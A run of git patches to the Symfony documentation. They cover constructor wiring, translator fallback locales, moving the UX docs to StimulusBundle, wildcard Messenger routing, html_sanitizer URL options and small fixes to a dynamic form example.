From 40d2bb7b0cfaf18dec6166694d3fa91574f3f51e Mon Sep 17 00:00:00 2001
From: Enzo Santamaria <62953579+Enz000@users.noreply.github.com>
Date: Wed, 14 Jun 2023 23:29:17 +0200
Subject: [PATCH 3387/5766] Update service_container.rst (Manually Wiring
 Arguments part)

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 53439ff4006..4e05b92da2e 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -412,7 +412,7 @@ example, suppose you want to make the admin email configurable:
           public function __construct(
               private MessageGenerator $messageGenerator,
               private MailerInterface $mailer,
-    +        private string $adminEmail,)
+    +        private string $adminEmail
           ) {
           }
 

From dd12eb5986b7a8b8ed5153a48384b11ca34efe74 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Thu, 15 Jun 2023 10:47:14 +0200
Subject: [PATCH 3388/5766] Mention that `default_locale` is used as the
 default for `framework.translator.fallbacks`

---
 translation.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index e36fb9ff321..b368c00d7f4 100644
--- a/translation.rst
+++ b/translation.rst
@@ -943,6 +943,9 @@ the framework:
             $framework->defaultLocale('en');
         };
 
+This ``default_locale`` is also relevant for the translator, as we will see
+in the next section.
+
 .. _translation-fallback:
 
 Fallback Translation Locales
@@ -963,7 +966,8 @@ checks translation resources for several locales:
    (Spanish) translation resource (e.g. ``messages.es.yaml``);
 
 #. If the translation still isn't found, Symfony uses the ``fallbacks`` option,
-   which can be configured as follows:
+   which can be configured as follows. When this option is not defined, it
+   defaults to the ``default_locale`` setting mentioned in the previous section.
 
    .. configuration-block::
 

From 526faafd0e380b16bbdc6c1222e566233bc8477b Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 6 Jun 2023 16:11:46 -0400
Subject: [PATCH 3389/5766] [UX] Centralizing docs around StimulusBundle

---
 _build/redirection_map             |   1 +
 frontend.rst                       |  37 +++----
 frontend/_ux-libraries.rst.inc     |  44 ---------
 frontend/encore/simple-example.rst |   9 +-
 frontend/ux.rst                    | 152 -----------------------------
 reference/forms/types/map.rst.inc  |   3 +-
 6 files changed, 26 insertions(+), 220 deletions(-)
 delete mode 100644 frontend/_ux-libraries.rst.inc
 delete mode 100644 frontend/ux.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 51fc2b835a3..049fca61d50 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -561,3 +561,4 @@
 /frontend/assetic /frontend
 /frontend/assetic/index /frontend
 /controller/argument_value_resolver /controller/value_resolver
+/frontend/ux https://symfony.com/bundles/StimulusBundle/current/index.html
diff --git a/frontend.rst b/frontend.rst
index f04dbdf14d4..54889c0ba05 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -15,19 +15,19 @@ fast frontend, *and* enjoy the process:
 * :ref:`AssetMapper <frontend-asset-mapper>`, is a production-ready simpler alternative
   to Webpack Encore that runs entirely in PHP. It's currently experimental.
 
-==========================================  =================  ======================================================
-                                            Encore             AssetMapper
-==========================================  =================  ======================================================
-Production Ready?                           yes                yes
-Stable?                                     yes                :doc:`experimental </contributing/code/experimental>`
-Requirements                                node               none: pure PHP
-Requires a build step?                      yes                no
-Works in all browsers?                      yes                yes
-Supports :doc:`Stimulus/UX </frontend/ux>`  yes                yes
-Supports Sass/Tailwind                      yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?                yes                yes**
-Supports TypeScript                         yes                no**
-==========================================  =================  ======================================================
+================================  =================  ======================================================
+                                  Encore             AssetMapper
+================================  =================  ======================================================
+Production Ready?                 yes                yes
+Stable?                           yes                :doc:`experimental </contributing/code/experimental>`
+Requirements                      node               none: pure PHP
+Requires a build step?            yes                no
+Works in all browsers?            yes                yes
+Supports `Stimulus/UX`_           yes                yes
+Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
+Supports React, Vue, Svelte?      yes                yes**
+Supports TypeScript               yes                no**
+================================  =================  ======================================================
 
 ** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
    need to use their native tools for pre-compilation. Also, some features (like
@@ -123,12 +123,11 @@ AssetMapper is currently :doc:`experimental </contributing/code/experimental>`.
 
 :doc:`Read the AssetMapper Documentation </frontend/asset_mapper>`
 
-Symfony UX Components
----------------------
+Stimulus & Symfony UX Components
+--------------------------------
 
-* :doc:`/frontend/ux`
-
-.. include:: /frontend/_ux-libraries.rst.inc
+To learn about Stimulus & the UX Components, see:
+the `StimulusBundle Documentation`_
 
 Other Front-End Articles
 ------------------------
@@ -153,3 +152,5 @@ Other Front-End Articles
 .. _`Symfony`: https://symfony.com/
 .. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js
 .. _`Webpack Encore screencast series`: https://symfonycasts.com/screencast/webpack-encore
+.. _StimulusBundle Documentation: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _Stimulus/UX: https://symfony.com/bundles/StimulusBundle/current/index.html
diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
deleted file mode 100644
index a9d8f15acde..00000000000
--- a/frontend/_ux-libraries.rst.inc
+++ /dev/null
@@ -1,44 +0,0 @@
-* `ux-autocomplete`_: Transform ``EntityType``, ``ChoiceType`` or *any*
-  ``<select>`` element into an Ajax-powered autocomplete field
-  (`see demo <https://ux.symfony.com/autocomplete>`_)
-* `ux-chartjs`_: Easy charts with `Chart.js`_ (`see demo <https://ux.symfony.com/chartjs>`_)
-* `ux-cropperjs`_: Form Type and tools for cropping images (`see demo <https://ux.symfony.com/cropperjs>`_)
-* `ux-dropzone`_: Form Type for stylized "drop zone" for file uploads
-  (`see demo <https://ux.symfony.com/dropzone>`_)
-* `ux-lazy-image`_: Optimize Image Loading with BlurHash
-  (`see demo <https://ux.symfony.com/lazy-image>`_)
-* `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
-  (`see demo <https://ux.symfony.com/live-component>`_)
-* `ux-notify`_: Send server-sent native notification with Mercure
-  (`see demo <https://ux.symfony.com/notify>`_)
-* `ux-react`_: Render `React`_ component from Twig (`see demo <https://ux.symfony.com/react>`_)
-* `ux-swup`_: Integration with `Swup`_ (`see demo <https://ux.symfony.com/swup>`_)
-* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
-  (`see demo <https://ux.symfony.com/turbo>`_)
-* `ux-twig-component`_: Build Twig Components Backed by a PHP Class
-  (`see demo <https://ux.symfony.com/twig-component>`_)
-* `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
-* `ux-vue`_: Render `Vue`_ component from Twig (`see demo <https://ux.symfony.com/vue>`_)
-* `ux-svelte`_: Render `Svelte`_ component from Twig.
-
-.. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
-.. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html
-.. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
-.. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
-.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
-.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
-.. _`ux-notify`: https://symfony.com/bundles/ux-notify/current/index.html
-.. _`ux-react`: https://symfony.com/bundles/ux-react/current/index.html
-.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
-.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
-.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`ux-typed`: https://symfony.com/bundles/ux-typed/current/index.html
-.. _`ux-vue`: https://symfony.com/bundles/ux-vue/current/index.html
-.. _`ux-svelte`: https://symfony.com/bundles/ux-svelte/current/index.html
-.. _`Chart.js`: https://www.chartjs.org/
-.. _`Swup`: https://swup.js.org/
-.. _`React`: https://reactjs.org/
-.. _`Svelte`: https://svelte.dev/
-.. _`Turbo Drive`: https://turbo.hotwired.dev/
-.. _`Typed`: https://github.com/mattboldt/typed.js/
-.. _`Vue`: https://vuejs.org/
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 2e5043c5f83..3c4ee28af55 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -268,10 +268,8 @@ via Ajax - those will instantly work: no need to reinitialize anything.
 Ready to learn more about Stimulus?
 
 * Read the `Stimulus Documentation`_
-* Find out more about how the :doc:`Symfony UX system works </frontend/ux>`
-* See a :ref:`list of all Symfony UX packages <ux-packages-list>`
-* Learn more about the `Symfony Stimulus Bridge`_ - including the superpower of
-  making your controllers load lazily!
+* Learn more about `StimulusBundle & the UX System`_
+* Browse `all the Symfony UX packages`_
 
   .. admonition:: Screencast
       :class: screencast
@@ -480,7 +478,8 @@ Encore supports many more features! For a full list of what you can do, see
 .. _`WebpackEncoreBundle Configuration`: https://github.com/symfony/webpack-encore-bundle#configuration
 .. _`Stimulus`: https://stimulus.hotwired.dev/
 .. _`Stimulus Documentation`: https://stimulus.hotwired.dev/handbook/introduction
-.. _`Symfony Stimulus Bridge`: https://github.com/symfony/stimulus-bridge
+.. _StimulusBundle & the UX System: https://symfony.com/bundles/StimulusBundle/current/index.html
+.. _all the Symfony UX packages: https://symfony.com/bundles/StimulusBundle/current/index.html#ux-packages
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`symfony/ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
 .. _`Stimulus Screencast`: https://symfonycasts.com/screencast/stimulus
diff --git a/frontend/ux.rst b/frontend/ux.rst
deleted file mode 100644
index 98360893905..00000000000
--- a/frontend/ux.rst
+++ /dev/null
@@ -1,152 +0,0 @@
-The Symfony UX Initiative & Packages
-====================================
-
-.. tip::
-
-    Check out live demos of Symfony UX at `https://ux.symfony.com`_!
-
-Symfony UX is an initiative and set of libraries to seamlessly
-integrate JavaScript tools into your application. For example,
-want to render a chart with `Chart.js`_? Use `UX Chart.js`_ to build the
-chart in PHP. The JavaScript is handled for you automatically.
-
-Behind the scenes, the UX packages leverage `Stimulus`_: a small, but
-powerful library for binding JavaScript functionality to elements on
-your page.
-
-Installing Symfony UX
----------------------
-
-Before you install any specific UX library, make sure you've installed
-:doc:`Webpack Encore </frontend/encore/installation>`.
-
-If you already have it installed, make sure you have an
-``assets/bootstrap.js`` file (this initializes Stimulus & the UX packages),
-an ``assets/controllers.json`` file (this controls the 3rd party UX packages that
-you've installed) and ``.enableStimulusBridge('./assets/controllers.json')`` in
-your ``webpack.config.js`` file. If these are missing, try upgrading the
-``symfony/webpack-encore-bundle`` Flex recipe. See
-:ref:`Upgrading Flex Recipes <updating-flex-recipes>`.
-
-.. _ux-packages-list:
-
-All Symfony UX Packages
------------------------
-
-.. include:: /frontend/_ux-libraries.rst.inc
-
-Stimulus Tools around the World
--------------------------------
-
-Because Stimulus is used by developers outside of Symfony, many tools
-exist beyond the UX packages:
-
-* `stimulus-use`_: Add composable behaviors to your Stimulus controllers, like
-  debouncing, detecting outside clicks and many other things.
-
-* `stimulus-components`_ A large number of pre-made Stimulus controllers, like for
-  Copying to clipboard, Sortable, Popover (similar to tooltips) and much more.
-
-How does Symfony UX Work?
--------------------------
-
-When you install a UX PHP package, Symfony Flex will automatically update your
-``package.json`` file to point to a "virtual package" that lives inside the
-PHP package. For example:
-
-.. code-block:: json
-
-    {
-        "devDependencies": {
-            "...": "",
-            "@symfony/ux-chartjs": "file:vendor/symfony/ux-chartjs/assets"
-        }
-    }
-
-This gives you a *real* Node package (e.g. ``@symfony/ux-chartjs``) that, instead
-of being downloaded, points directly to files that already live in your ``vendor/``
-directory.
-
-The Flex recipe will usually also update your ``assets/controllers.json`` file
-to add a new Stimulus controller to your app. For example:
-
-.. code-block:: json
-
-    {
-        "controllers": {
-            "@symfony/ux-chartjs": {
-                "chart": {
-                    "enabled": true,
-                    "fetch": "eager"
-                }
-            }
-        },
-        "entrypoints": []
-    }
-
-Finally, your ``assets/bootstrap.js`` file - working with the `@symfony/stimulus-bridge`_ -
-package will automatically register:
-
-* All files in ``assets/controllers/`` as Stimulus controllers;
-* And all controllers described in ``assets/controllers.json`` as Stimulus controllers.
-
-The end result: you install a package, and you instantly have a Stimulus
-controller available! In this example, it's called
-``@symfony/ux-chartjs/chart``. Well, technically, it will be called
-``symfony--ux-chartjs--chart``. However, you can pass the original name
-into the ``{{ stimulus_controller() }}`` function from WebpackEncoreBundle, and
-it will normalize it:
-
-.. code-block:: html+twig
-
-    <div {{ stimulus_controller('@symfony/ux-chartjs/chart') }}>
-
-    <!-- will render as: -->
-    <div data-controller="symfony--ux-chartjs--chart">
-
-Lazy Controllers
-----------------
-
-By default, all of your controllers (i.e. files in ``assets/controllers/`` +
-controllers in ``assets/controllers.json``) will be downloaded and loaded on
-every page.
-
-Sometimes you may have a controller that is only used on some pages, or maybe
-only in your admin area. In that case, you can make the controller "lazy". When
-a controller is lazy, it is *not* downloaded on initial page load. Instead, as
-soon as an element appears on the page matching the controller (e.g.
-``<div data-controller="hello">``), the controller - and anything else it imports -
-will be lazyily-loaded via Ajax.
-
-To make one of your custom controllers lazy, add a special comment on top:
-
-.. code-block:: javascript
-
-    import { Controller } from '@hotwired/stimulus';
-
-    /* stimulusFetch: 'lazy' */
-    export default class extends Controller {
-        // ...
-    }
-
-To make a third-party controller lazy, in ``assets/controllers.json``, set
-``fetch`` to ``lazy``.
-
-.. note::
-
-    If you write your controllers using TypeScript, make sure
-    ``removeComments`` is not set to ``true`` in your TypeScript config.
-
-More Advanced Setup
--------------------
-
-To learn about more advanced options, read about `@symfony/stimulus-bridge`_,
-the Node package that is responsible for a lot of the magic.
-
-.. _`Chart.js`: https://www.chartjs.org/
-.. _`UX Chart.js`: https://symfony.com/bundles/ux-chartjs/current/index.html
-.. _`Stimulus`: https://stimulus.hotwired.dev/
-.. _`@symfony/stimulus-bridge`: https://github.com/symfony/stimulus-bridge
-.. _`stimulus-use`: https://stimulus-use.github.io/stimulus-use
-.. _`stimulus-components`: https://stimulus-components.netlify.app/
-.. _`https://ux.symfony.com`: https://ux.symfony.com
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 4496fd1d377..d2fefa20dde 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -47,7 +47,7 @@ Other Fields
 Symfony UX Fields
 ~~~~~~~~~~~~~~~~~
 
-These types are part of the :doc:`Symfony UX initiative </frontend/ux>`:
+These types are part of the `Symfony UX Packages`_
 
 * `CropperType`_ (using Cropper.js)
 * `DropzoneType`_
@@ -83,3 +83,4 @@ Base Fields
 
 .. _`CropperType`: https://github.com/symfony/ux/tree/2.x/src/Cropperjs#readme
 .. _`DropzoneType`: https://github.com/symfony/ux/tree/2.x/src/Dropzone#readme
+.. _Symfony UX Packages: https://symfony.com/bundles/StimulusBundle/current/index.html#ux-packages

From c4e26556eb2a764a3d0382036071faa3d9c657c2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C5=82=20Brzuchalski?= <michal.brzuchalski@gmail.com>
Date: Wed, 7 Dec 2022 11:35:20 +0100
Subject: [PATCH 3390/5766] [Messenger] Extend note on routing with support for
 wildcard routes

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b5d47668eef..33f2ea9d2df 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -259,6 +259,11 @@ matched under ``routing`` will still be handled immediately, i.e. synchronously.
 
 .. note::
 
+    You may use ``'App\Message\*'`` combined with valid namespace. The wildcard
+    at the end will act as a routing for all messages within the matching namespace.
+    The wildcard can follow any valid namespace but has to be placed at the end.
+    This is useful to route all classes sharing the same namespace to the same transport.
+
     You may use ``'*'`` as the message class. This will act as a default routing
     rule for any message not matched under ``routing``. This is useful to ensure
     no message is handled synchronously by default.

From 2c7aa8b639040e463ac6bd59b58fa0958576d249 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 13:01:39 +0200
Subject: [PATCH 3391/5766] Minor reword

---
 messenger.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 33f2ea9d2df..b1349f476d9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -259,10 +259,9 @@ matched under ``routing`` will still be handled immediately, i.e. synchronously.
 
 .. note::
 
-    You may use ``'App\Message\*'`` combined with valid namespace. The wildcard
-    at the end will act as a routing for all messages within the matching namespace.
-    The wildcard can follow any valid namespace but has to be placed at the end.
-    This is useful to route all classes sharing the same namespace to the same transport.
+    You may use a partial PHP namespace like ``'App\Message\*'`` to match all
+    the messages within the matching namespace. The only requirement is that the
+    ``'*'`` wildcard has to be placed at the end of the namespace.
 
     You may use ``'*'`` as the message class. This will act as a default routing
     rule for any message not matched under ``routing``. This is useful to ensure

From b9a74c01949ff2e1aa3040ddd89b57310a626b30 Mon Sep 17 00:00:00 2001
From: Patrick Landolt <patrick.landolt@artack.ch>
Date: Wed, 7 Jun 2023 10:30:11 +0200
Subject: [PATCH 3392/5766] correct usage of force_https_urls

added additional information
---
 html_sanitizer.rst | 40 ++++++++++++++++++++++++----------------
 1 file changed, 24 insertions(+), 16 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index fccaedd29cd..fff26f693f4 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -721,8 +721,9 @@ URLs of ``<a>`` elements:
                     app.post_sanitizer:
                         # ...
 
-                        # if `true`, all URLs will be forced using the `https://` scheme (instead
-                        # of e.g. `http://` or `mailto:`)
+                        # if `true`, all URLs using the `http://` scheme will be converted to
+                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # in `allowed_link_schemes`
                         force_https_urls: true
 
                         # specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -748,8 +749,9 @@ URLs of ``<a>`` elements:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
-                                       scheme (instead of e.g. `http://` or `mailto:`) -->
+                <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
+                                       converted to using the `https://` scheme instead.
+                                       `http` still needs to be allowed in `allowed-link-scheme` -->
                 <!-- allow-relative-links: whether to allow relative links (i.e. URLs without
                                            scheme and host) -->
                 <framework:html-sanitizer
@@ -777,8 +779,9 @@ URLs of ``<a>`` elements:
         return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    // if `true`, all URLs will be forced using the `https://` scheme (instead
-                    // of e.g. `http://` or `mailto:`)
+                    // if `true`, all URLs using the `http://` scheme will be converted to
+                    // using the `https://` scheme instead. `http` still needs to be
+                    // allowed in `allowedLinkSchemes`
                     ->forceHttpsUrls(true)
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -801,8 +804,9 @@ URLs of ``<a>`` elements:
 
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
-                // if `true`, all URLs will be forced using the `https://` scheme (instead
-                // of e.g. `http://` or `mailto:`)
+                // if `true`, all URLs using the `http://` scheme will be converted to
+                // using the `https://` scheme instead. `http` still needs to be
+                // allowed in `allowedLinkSchemes`
                 ->forceHttpsUrls()
 
                 // specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -835,8 +839,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                     app.post_sanitizer:
                         # ...
 
-                        # if `true`, all URLs will be forced using the `https://` scheme (instead
-                        # of e.g. `http://` or `data:`)
+                        # if `true`, all URLs using the `http://` scheme will be converted to
+                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # in `allowed_media_schemes`
                         force_https_urls: true
 
                         # specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -862,8 +867,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
-                                       scheme (instead of e.g. `http://` or `data:`) -->
+                <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
+                                       converted to using the `https://` scheme instead. `http`
+                                       still needs to be allowed in `allowed-media-scheme` -->
                 <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without
                                            scheme and host) -->
                 <framework:html-sanitizer
@@ -891,8 +897,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         return static function (FrameworkConfig $framework): void {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    // if `true`, all URLs will be forced using the `https://` scheme (instead
-                    // of e.g. `http://` or `data:`)
+                    // if `true`, all URLs using the `http://` scheme will be converted to
+                    // using the `https://` scheme instead. `http` still needs to be
+                    // allowed in `allowedMediaSchemes`
                     ->forceHttpsUrls(true)
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
@@ -915,8 +922,9 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
-                // if `true`, all URLs will be forced using the `https://` scheme (instead
-                // of e.g. `http://` or `data:`)
+                // if `true`, all URLs using the `http://` scheme will be converted to
+                // using the `https://` scheme instead. `http` still needs to be
+                // allowed in `allowedMediaSchemes`
                 ->forceHttpsUrls()
 
                 // specifies the allowed URL schemes. If the URL has a different scheme, the

From e821cb0fcd55945b7229a2ee4354313e7ec57c6a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 13:47:39 +0200
Subject: [PATCH 3393/5766] Minor tweak

---
 html_sanitizer.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index fff26f693f4..e28ea8101a4 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -722,7 +722,7 @@ URLs of ``<a>`` elements:
                         # ...
 
                         # if `true`, all URLs using the `http://` scheme will be converted to
-                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # use the `https://` scheme instead. `http` still needs to be allowed
                         # in `allowed_link_schemes`
                         force_https_urls: true
 
@@ -750,7 +750,7 @@ URLs of ``<a>`` elements:
 
             <framework:config>
                 <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
-                                       converted to using the `https://` scheme instead.
+                                       converted to use the `https://` scheme instead.
                                        `http` still needs to be allowed in `allowed-link-scheme` -->
                 <!-- allow-relative-links: whether to allow relative links (i.e. URLs without
                                            scheme and host) -->
@@ -780,7 +780,7 @@ URLs of ``<a>`` elements:
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs using the `http://` scheme will be converted to
-                    // using the `https://` scheme instead. `http` still needs to be
+                    // use the `https://` scheme instead. `http` still needs to be
                     // allowed in `allowedLinkSchemes`
                     ->forceHttpsUrls(true)
 
@@ -805,7 +805,7 @@ URLs of ``<a>`` elements:
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
                 // if `true`, all URLs using the `http://` scheme will be converted to
-                // using the `https://` scheme instead. `http` still needs to be
+                // use the `https://` scheme instead. `http` still needs to be
                 // allowed in `allowedLinkSchemes`
                 ->forceHttpsUrls()
 
@@ -840,7 +840,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
                         # ...
 
                         # if `true`, all URLs using the `http://` scheme will be converted to
-                        # using the `https://` scheme instead. `http` still needs to be allowed
+                        # use the `https://` scheme instead. `http` still needs to be allowed
                         # in `allowed_media_schemes`
                         force_https_urls: true
 
@@ -868,7 +868,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
             <framework:config>
                 <!-- force-https-urls: if `true`, all URLs using the `http://` scheme will be
-                                       converted to using the `https://` scheme instead. `http`
+                                       converted to use the `https://` scheme instead. `http`
                                        still needs to be allowed in `allowed-media-scheme` -->
                 <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without
                                            scheme and host) -->
@@ -898,7 +898,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // if `true`, all URLs using the `http://` scheme will be converted to
-                    // using the `https://` scheme instead. `http` still needs to be
+                    // use the `https://` scheme instead. `http` still needs to be
                     // allowed in `allowedMediaSchemes`
                     ->forceHttpsUrls(true)
 
@@ -923,7 +923,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
         $postSanitizer = new HtmlSanitizer(
             (new HtmlSanitizerConfig())
                 // if `true`, all URLs using the `http://` scheme will be converted to
-                // using the `https://` scheme instead. `http` still needs to be
+                // use the `https://` scheme instead. `http` still needs to be
                 // allowed in `allowedMediaSchemes`
                 ->forceHttpsUrls()
 

From 55f8aad77dbbf17c0d46c7b3148c88cf9c036bfb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 14:40:05 +0200
Subject: [PATCH 3394/5766] Minor tweaks

---
 html_sanitizer.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index bda90d6b324..e6cb9d47000 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -731,8 +731,9 @@ URLs of ``<a>`` elements:
                         allowed_link_schemes: ['http', 'https', 'mailto']
 
                         # specifies the allowed hosts, the attribute will be dropped if the
-                        # URL contains a different host which is not a subdomain of the allowed host
-                        allowed_link_hosts: ['symfony.com'] # also allows any subdomain (i.e. www.symfony.com)
+                        # URL contains a different host. Subdomains are allowed: e.g. the following
+                        # config would also allow 'www.symfony.com', 'live.symfony.com', etc.
+                        allowed_link_hosts: ['symfony.com']
 
                         # whether to allow relative links (i.e. URLs without scheme and host)
                         allow_relative_links: true
@@ -765,8 +766,8 @@ URLs of ``<a>`` elements:
                     <allowed-link-scheme>mailto</allowed-link-scheme>
 
                     <!-- specifies the allowed hosts, the attribute will be dropped if the
-                         URL contains a different host which is not a subdomain of the allowed host
-                         Also allows any subdomain (i.e. www.symfony.com) -->
+                         URL contains a different host. Subdomains are allowed: e.g. the following
+                         config would also allow 'www.symfony.com', 'live.symfony.com', etc. -->
                     <allowed-link-host>symfony.com</allowed-link-host>
                 </framework:html-sanitizer>
             </framework:config>
@@ -790,8 +791,9 @@ URLs of ``<a>`` elements:
                     ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
-                    // URL contains a different host which is not a subdomain of the allowed host
-                    ->allowedLinkHost('symfony.com') // Also allows any subdomain (i.e. www.symfony.com)
+                    // URL contains a different host. Subdomains are allowed: e.g. the following
+                    // config would also allow 'www.symfony.com', 'live.symfony.com', etc.
+                    ->allowedLinkHost('symfony.com')
 
                     // whether to allow relative links (i.e. URLs without scheme and host)
                     ->allowRelativeLinks(true)

From e722d229851ba1cd8d46879d14ea1b3979f6bd20 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jun 2023 15:19:58 +0200
Subject: [PATCH 3395/5766] Tweaks

---
 form/dynamic_form_modification.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0d321880cb3..9386d57ec6b 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -447,7 +447,7 @@ The type would now look like::
     class SportMeetupType extends AbstractType
     {
         public function buildForm(FormBuilderInterface $builder, array $options): void
-        {          
+        {
             $builder
                 ->add('sport', EntityType::class, [
                     'class' => Sport::class,
@@ -488,7 +488,7 @@ The type would now look like::
                 }
             );
             
-            // by default, action does not appear in the form tag
+            // by default, action does not appear in the <form> tag
             // you can set this value by passing the controller route
             $builder->setAction($options['action']);
         }
@@ -546,7 +546,7 @@ field according to the current selection in the ``sport`` field:
 .. code-block:: html+twig
 
     {# templates/meetup/create.html.twig #}
-    {{ form_start(form, { 'attr' : { 'id' : 'supply_history_form' } }) }}
+    {{ form_start(form, { attr: { id: 'supply_history_form' } }) }}
         {{ form_row(form.sport) }}    {# <select id="meetup_sport" ... #}
         {{ form_row(form.position) }} {# <select id="meetup_position" ... #}
         {# ... #}
@@ -568,12 +568,14 @@ field according to the current selection in the ``sport`` field:
           });
 
           const text = await req.text();
+
           return text;
         };
 
         const parseTextToHtml = (text) => {
           const parser = new DOMParser();
           const html = parser.parseFromString(text, 'text/html');
+
           return html;
         };
 
@@ -581,6 +583,7 @@ field according to the current selection in the ``sport`` field:
           const requestBody = e.target.getAttribute('name') + '=' + e.target.value;
           const updateFormResponse = await updateForm(requestBody, form.getAttribute('action'), form.getAttribute('method'));
           const html = parseTextToHtml(updateFormResponse);
+
           const new_form_select_position = html.getElementById('meetup_position');
           form_select_position.innerHTML = new_form_select_position.innerHTML;
         };

From 720e9f7b65d6dd17802e448490e181144e4e0baf Mon Sep 17 00:00:00 2001
From: Bastien Picharles <bastien.picharles@gmail.com>
